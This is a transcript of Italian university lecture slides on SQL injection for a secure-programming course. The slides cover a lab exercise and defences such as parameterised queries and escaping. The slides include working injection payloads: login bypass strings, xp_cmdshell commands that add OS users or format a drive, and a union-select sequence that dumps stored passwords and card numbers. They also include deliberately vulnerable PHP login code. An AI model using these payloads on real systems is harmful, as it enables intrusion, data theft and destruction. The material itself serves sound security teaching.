universitÀ di perugia dipartimento di matematica e informatica sql injection prof. stefano...

22
UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto di Informatica e Telematica - Pisa Università “G. d’Annunzio” Dipartimento di Scienze, Pescara

Upload: brizio-righi

Post on 01-May-2015

218 views

Category:

Documents


3 download

TRANSCRIPT

Page 1: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

UNIVERSITÀ DI PERUGIADIPARTIMENTO DI MATEMATICA E INFORMATICA

SQL Injection

Prof. Stefano Bistarelli

C Consiglio Nazionale delle RicercheIit Istituto di Informatica e Telematica - Pisa

Università “G. d’Annunzio”Dipartimento di Scienze, Pescara

Page 2: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

2

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

Setup User input usato in SQL query

esempio: login page (ASP)

set ok = execute(“SELECT * FROM UserTable

WHERE username=′ ” & form(“user”) &

“ ′ AND password=′ ” & form(“pwd”) & “ ′ ” );

If not ok.EOF

login success

else fail;

Quale e’ il problema?

Page 3: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

3

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

Bad input Supponiamo user = “ ′ or 1 = 1 -- ” (URL encoded)

Allora lo scripts ottiene:ok = execute( SELECT …

WHERE username= ′ ′ or 1=1 -- … )

poiché è presente ‘- -’ il resto della linea è ignorato.

ora ok.EOF è sempre falso.

The bad news: facile login a molti siti in questo modo.

Page 4: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

4

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

Even worse Supponiamo user =

′ exec cmdshell

′net user badguy badpwd′ / ADD --

Allora lo script:ok = execute( SELECT …

WHERE username= ′ ′ exec … )

se SQL server è eseguito da “sa” o “root”, attaccante ottiene un account sul DB server.

Page 5: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

5

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

Demonic strings 2 Remote execution

'; exec master..xp_cmdshell 'ping 10.10.1.2'– Get output

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Insert data ‘; UPDATE 'admin_login' SET 'password' = 'newpas5'

WHERE login_name='neo'– Delete data| ';drop table users –

Page 6: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

6

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

Demonic strings ' or 1=1--

" or 1=1--or 1=1--' or 'a'='a" or "a"="a') or ('a'='a

Page 7: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

7

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

Avoiding SQL injection

Due suggerimenti: Query parametriche con parametri tipati e

controllati Uso di store procedure parametrizzate

Page 8: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

8

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

Query parametriche Example: Parameterized SQL: (ASP.NET 1.1)

Ensures SQL arguments are properly escaped.

SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection);

cmd.Parameters.Add("@User", Request[“user”] );

cmd.Parameters.Add("@Pwd", Request[“pwd”] );

cmd.ExecuteReader();

Page 9: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

9

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

Prepare-execute procedure

pg_query($conn, “PREPARE stmt_name (text) AS SELECT * FROM users WHERE name=$1”);

pg_query($conn, “EXECUTE stmt_name ({$name})”);

pg_query($conn, “DEALLOCATE stmt_name”);

Page 10: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

10

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

Magic quotes e real-escape

Magic quotes file di configurazione php.ini: voce

magic_quotes_gpc funzione addslashes() o funzione

mysql_escape_string() su tutte le variabili inserite in una query SQL.

Build SQL queries by properly escaping args: ′ \′ Nota: mysql escape = \ Firebird escape = ‘

Page 11: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

11

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

In genere

Controllare sempre l’input!! Vediamo un esercizio

Page 12: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

12

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

Fabrikam

Fabrikam has recently introduced a search feature into their product database, but they’ve written it with some rather naïve code. Your first job will be to exploit the SQL injection vulnerability so you understand the implications. Then you’ll go on the defensive and fix the problem.

Page 13: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

13

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

‘ or 1=1 – Good!!

‘ union select null – Numero campi query sbagliata

‘union select null, null – ok

‘ union select $0, null, null – Ora troviamo il tipo dei campi

‘ union select null, @@version, null – Versione db! Per vulnerabilita’ conosciute

' union select null, name, null from sys.databases – Che altri db ci sono?

‘ union select null, table_name, null from FabrikamSampleProductDatabase.information_schema.tables -- Che tabelle nei vari db?

' union select null, column_name, null from FabrikamSampleProductDatabase.information_schema.columns where table_name='users' -- Bene che colonne interessanti!! Utenti!

' union select null,email+', '+password+', '+cc_type+', '+cc_num+', '+cc_exp+', '+cc_vcode,null from Users --

Page 14: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

14

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

Some damage

' update products set price=.01 where description='MP3 Player' --

Ora possiamo comprare l’mp3 player ' exec xp_cmdshell 'net user hacker

P@ssw0rd /add' ' exec xp_cmdshell 'format z:'

Page 15: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

15

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

Difesa!! Filter input

searchString = txtSearch.Text; searchString = txtSearch.Text.Replace("'","''");

sandbox the input data in a parameterized query (visualizzazione progettazione, proprieta’ del selectcommand

select sku, description, price from Products where description like @s order by price

Refresh!

dataSource.SelectCommand = string.Format( "select sku, description, price from Products where description like '%{0}%' order by price",

searchString); dataSource.SelectParameters["s"].DefaultValue = '%' +

searchString + '%';

Page 16: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

16

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

cod1 if (isset($_POST['user']) && isset($_POST['passwd'])) {

include 'mainfile.php'; mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono

le variabili definite nel file 'mainfile.php'

$result=mysql_db_query(DB_NAME,"select * from utenti where username='$_POST[user]' and passwd='$_POST[passwd]'");

if (mysql_num_rows($result)!=0) { $_SESSION['user']=$_POST['user'];

Page 17: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

17

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

cod2 if (isset($_POST['admin_password'])){

$pwd= $_POST['admin_password']; if ((ereg("\=", $pwd))) //impedisce l'inserimento di alcuni caratteri

{ echo " <script type='text/javascript'> alert ('Hai utilizzato un carattere non valido') </script>"; session_destroy();

}; };

if (isset($_POST['admin_user']) && isset($_POST['admin_password'])) {

include '../connessione.php'; mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono le variabili definite nel file 'connessione.php'

$result=mysql_db_query(DB_NAME,"select * from amministratore where admin_user='$_POST[admin_user]' and admin_password='$_POST[admin_password]'");

if (mysql_num_rows($result)!=0) { $_SESSION['admin_user']=$_POST['admin_user']; ?> <script type="text/javascript"> document.location="home_amministratore.php" </script>

Page 18: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

18

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

$nome_utente = $_POST['username']; $password = sha1($_POST['password']); $query="SELECT * FROM MANAGER WHERE

NOME_UTENTE='$nome_utente' AND PSWD='$password'"; $connessione = ibase_query(db_connect(),$query);

if($row=ibase_fetch_object($connessione)) { $_SESSION['manager']='logged_in'; $_SESSION['facolta'] = $row->COD_FACOLTA; header('Location: genera_cod_step1.php'); } else { $msg_login = "<div style='color: red;'>Nome utente e/o password

erra ti!</div><br />"; }

Page 19: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

19

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

if (isset($_POST['pass'])) { $pass=filtraggio($_POST['pass'],50); $query=mysql_query("select * from

password where pwd=sha1('$pass')") or mysql_showerror();

if ($n=mysql_num_rows($query) > 0) { $_SESSION['autenticato']=true;

Page 20: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

20

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

// funzione controllo SQL Injection per dati tipo stringa function filtraggio($str,$val){ if ( get_magic_quotes_gpc()) { $filtro = stripslashes($str); $filtro1 =

mysql_real_escape_string(substr($filtro,0,$val)); }else { $filtro1 = mysql_real_escape_string(substr($str,0,$val)); } return $filtro1; }

Page 21: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

21

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

cod3 if (isset($_POST['pin'])){ $pwd= $_POST['pin']; if ((ereg("\=", $pwd))) //impedisce l'inserimento di alcuni caratteri

{ echo " <script type='text/javascript'> alert ('Hai utilizzato un carattere non valido')

</script>"; session_destroy(); }; };

if (isset($_POST['pin'])){ include 'connessione.php'; mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono le variabili definite nel

file 'connessione. php'

$result=mysql_db_query(DB_NAME,"select * from studenti where pin='$_POST[pin]'");

if (mysql_num_rows($result)!=0) { $_SESSION['pin']=$_POST['pin'];

Page 22: UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto

S. Bistarelli - Metodologie di Secure Programming

22

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione

function SQL_Injection(){ foreach ($_POST as $chiave => $elemento) { // elimino i caratteri _ e % sensibili per la parola chiave LIKE $_POST["$chiave"] = str_replace("%", "", $_POST["$chiave"]); //sostituisco le parentesi angolari, onde evitare la creazione d i codice html $_POST["$chiave"] = str_replace("<", "&lt;", $_POST["$chiave"]); $_POST["$chiave"] = str_replace(">", "&gt;", $_POST["$chiave"]); //sostituisco ' con ` $_POST["$chiave"] = str_replace("'", "`", $_POST["$chiave"]); //rimuovo gli spazi all'inizio e alla fine $_POST["$chiave"] = trim($_POST["$chiave"]); // se magic_quotes_gpc è disattivo, mi appoggio a mysql_real_esc ape_string() contro attacco di tipo SQL Injection //if ( !get_magic_quotes_gpc() ) { // e quoto i caratteri \ " ' sensibili per php //$_POST["$chiave"] = mysql_real_escape_string($_POST["$chiave"]); //} } }